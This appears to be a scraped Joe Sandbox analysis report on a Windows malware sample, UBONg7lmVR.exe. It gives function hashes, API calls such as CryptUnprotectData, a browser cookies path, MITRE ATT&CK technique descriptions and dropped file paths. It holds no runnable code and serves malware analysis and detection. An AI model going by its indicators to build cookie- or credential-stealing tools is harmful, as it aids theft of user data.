Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: ObjectQuery
String ID: \Local Extensions Settings\$\Network\Cookies
API String ID: 2748340528-1141476384
Opcode ID: c77f9949563b331437a3610bc11cab5562f397d593cdd5b1c770f7cdb400e266
Instruction ID: f55eb6687b36fc91652144b58fbf26f473687ec9292e25fdfe5dfc14f8457f4a
Opcode Fuzzy Hash: c77f9949563b331437a3610bc11cab5562f397d593cdd5b1c770f7cdb400e266
Instruction Fuzzy Hash: BD219675A10208FBD700DF91DC46FD9737DAB48705F10419DB908D7181EAB1EAE8CB91

Function 002C1C40 Relevance: 4.5, APIs: 3, Instructions: 22encryptiontimeCOMMON

Download Yara Rule

APIs

CryptSignHashA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,?,002C16EB,?,002C1CA8,?,002C1D86,?), ref: 002C1C53
CryptUpdateProtectedState.CRYPT32(00000000,00000000,00000000,00000000,00000000,?,002C16EB,?,002C1CA8,?,002C1D86,?), ref: 002C1C63
WinHttpTimeFromSystemTime.WINHTTP(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,002C16EB,?,002C1CA8,?,002C1D86,?), ref: 002C1C6C

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: CryptTime$FromHashHttpProtectedSignStateSystemUpdate
String ID:
API String ID: 3068283267-0
Opcode ID: 4fbcaf73df99b77ed2d55c3e4ed2ba6eeb7f8979f322e23567a62d9bec274a83
Instruction ID: 1a7a17d0b2b84b3f16e5c766fdc163bf22daab799ce9426acdf067477963e2ea
Opcode Fuzzy Hash: 4fbcaf73df99b77ed2d55c3e4ed2ba6eeb7f8979f322e23567a62d9bec274a83
Instruction Fuzzy Hash: 9BC04C312D830966E6502BF47E0FF1536586B05B4BF444159F70ED90D19ED1542045A7

Function 002C8A80 Relevance: 2.6, Strings: 2, Instructions: 84COMMON

Download Yara Rule

Strings

?2,, xrefs: 002C8ADC
?2,, xrefs: 002C8B65, 002C8B76, 002C8B6D

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID:
String ID: ?2,$?2,
API String ID: 0-1359727664
Opcode ID: c43602ed676e7627ec8738c8a54b05c9f01cfc2936e14476b38f24f0838f3492
Instruction ID: cf70eefa50657a124a0cb56833eb8adaf6345d1f7ab9b423ae3f6f7e8e2532c0
Opcode Fuzzy Hash: c43602ed676e7627ec8738c8a54b05c9f01cfc2936e14476b38f24f0838f3492
Instruction Fuzzy Hash: 7E314DB0D10209EFCB14CF98D942BAEBBB4EF05304F20C16EEA49E7341D774AA509B95

Function 002C1000 Relevance: 1.5, APIs: 1, Instructions: 33encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(00000040,00000000,00000000,00000000,00000000,00000000,?), ref: 002C1033

Part of subcall function 002C32A0: LocalFree.KERNEL32(?), ref: 002C33BA

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: ba76e1c7465de8d8b88b6032dd1844520a5e18e72543b5d238c478fce23f610c
Instruction ID: acacc8c5f5ad1c2a8e9c689c49b373020988bda34372b9256108556194de1923
Opcode Fuzzy Hash: ba76e1c7465de8d8b88b6032dd1844520a5e18e72543b5d238c478fce23f610c
Instruction Fuzzy Hash: 14F0F876900108ABDB05DFA8D885EEE77BCEB44310F08856AED198B242EA31DA54CB91

Function 002C1A20 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction ID: 3aed54436f5767a83b01f55326dea564c088d466d319321e9a1229c6b183aa19
Opcode Fuzzy Hash: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction Fuzzy Hash: DCC04C7595664CEBC711CB89D541A59B7FCE709650F100195EC0893700D5356E109595

Function 002C7670 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

std::_Cnd_initX.LIBCPMTD ref: 002C77DB

Strings

O,, xrefs: 002C76FB, 002C771B
O,, xrefs: 002C79EC

Memory Dump Source

Source File: 00000017.00000002.2744616304.00000000002C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000017.00000002.2744522121.00000000002C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744745377.00000000002CA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744780989.00000000002CB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000017.00000002.2744872211.00000000002CC000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2c0000_rapnewsa.jbxd

Similarity

API ID: Cnd_initstd::_
String ID: O,$O,
API String ID: 1955959516-439060946
Opcode ID: e592f80eb1f9b1b0632711381b7c9192815816f0197bdafb6a5fda9c8fc484cf
Instruction ID: a18ea5acf25768f8ee92c8e45672cbc1c9efa74a27d55c972744261f4af8f6a8
Opcode Fuzzy Hash: e592f80eb1f9b1b0632711381b7c9192815816f0197bdafb6a5fda9c8fc484cf
Instruction Fuzzy Hash: 76C1057492421ADBCB04DF98C591ABEB7B2FF58300F20826DE905A7304E775AE61DF91

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report UBONg7lmVR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Reka\rapnewsa.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1dliduho.2ay.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1zntfhsm.wrh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_23ddowjl.obt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2cwzdf3h.pli.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2tv4xnrh.lrp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4lh5csqd.zcc.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5wshp021.ucm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bbvyrykj.gx0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_biugcgc4.jml.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c2xevfaz.kyx.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djzrwuu0.x52.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ds3jwxnn.qzg.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gi2qb2ew.5ss.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ia3k1b3c.2e3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iht5oqef.zwb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jwqgxjbg.k13.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kpf5nmio.jkj.ps1

Windows Analysis Report
UBONg7lmVR.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre